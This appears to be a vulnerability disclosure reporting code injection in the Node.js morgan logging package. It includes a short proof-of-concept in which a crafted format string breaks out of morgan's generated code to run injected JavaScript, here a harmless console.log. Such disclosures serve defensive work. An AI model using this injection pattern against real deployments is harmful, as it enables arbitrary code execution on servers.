Code Injection Vulnerability in morgan Package

I would like to report a code injection vulnerability in morgan. It allows an attacker to inject arbitrary JS commands in certain situations.

var morgan = require('morgan');
var f = morgan('25 \\" + console.log(\'hello!\'); +  //:method :url :status :res[content-length] - :response-time ms');
f({}, {}, function () {
});